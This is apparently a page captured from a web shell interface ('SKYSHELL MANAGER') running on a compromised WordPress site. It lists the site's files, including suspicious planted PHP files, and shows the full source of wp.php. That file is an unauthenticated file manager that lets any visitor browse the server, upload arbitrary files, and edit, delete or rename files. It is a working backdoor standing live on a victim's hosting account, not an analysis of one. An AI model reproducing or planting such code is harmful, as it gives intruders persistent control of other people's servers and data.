📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
phircorg
/
public_html
/
Name
Size
Perm
Actions
📁
.tmb
-
0777
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bk
0.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
amp.php
34.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
2318.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
9.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
google3926991d8619dd08.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.html+
0.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
run.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-security.php
182.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp.php
4.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: wp.php
<?php session_start(); $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); function displayDirectory($path) { $items = array_diff(scandir($path), ['.', '..']); echo "<h3>Current Directory: $path</h3><ul>"; foreach ($items as $item) { $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item); if (is_dir($itemPath)) { echo "<li><a href='?path=$itemPath'>$item</a></li>"; } else { echo "<li>$item <a href='?path=$path&action=edit&item=$item'>Edit</a> | <a href='?path=$path&action=delete&item=$item'>Delete</a> | <a href='?path=$path&action=rename&item=$item'>Rename</a></li>"; } } echo "</ul>"; } function handleFileUpload($path) { if (!empty($_FILES['file']['name'])) { $target = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "<p>File uploaded successfully!</p>"; } else { echo "<p>Failed to upload file.</p>"; } } } function createNewFolder($path) { if (!empty($_POST['folder_name'])) { $folderPath = $path . DIRECTORY_SEPARATOR . $_POST['folder_name']; if (!file_exists($folderPath)) { mkdir($folderPath); echo "<p>Folder created: {$_POST['folder_name']}</p>"; } else { echo "<p>Folder already exists.</p>"; } } } function createNewFile($path) { if (!empty($_POST['file_name'])) { $filePath = $path . DIRECTORY_SEPARATOR . $_POST['file_name']; if (!file_exists($filePath)) { file_put_contents($filePath, ''); echo "<p>File created: {$_POST['file_name']}</p>"; } else { echo "<p>File already exists.</p>"; } } } function editFile($filePath) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "<p>File updated successfully!</p>"; } $content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : ''; echo "<form method='POST'><textarea name='content' style='width:100%; height:300px;'>$content</textarea><br><button type='submit'>Save</button></form>"; } function deleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "<p>File deleted successfully.</p>"; } } function renameItem($filePath) { if (!empty($_POST['new_name'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['new_name']; if (rename($filePath, $newPath)) { echo "<p>Item renamed successfully.</p>"; } else { echo "<p>Failed to rename item.</p>"; } } else { echo "<form method='POST'><input type='text' name='new_name' placeholder='New Name'><button type='submit'>Rename</button></form>"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) { handleFileUpload($path); } elseif (isset($_POST['folder_name'])) { createNewFolder($path); } elseif (isset($_POST['file_name'])) { createNewFile($path); } } if (isset($_GET['action']) && isset($_GET['item'])) { $itemPath = $path . DIRECTORY_SEPARATOR . $_GET['item']; switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': deleteFile($itemPath); break; case 'rename': renameItem($itemPath); break; } } echo "<a href='?path=" . dirname($path) . "'>Go Up</a>"; displayDirectory($path); echo "<h3>Upload File</h3><form method='POST' enctype='multipart/form-data'><input type='file' name='file'><button type='submit'>Upload</button></form>"; echo "<h3>Create Folder</h3><form method='POST'><input type='text' name='folder_name' placeholder='Folder Name'><button type='submit'>Create</button></form>"; echo "<h3>Create File</h3><form method='POST'><input type='text' name='file_name' placeholder='File Name'><button type='submit'>Create</button></form>";
Save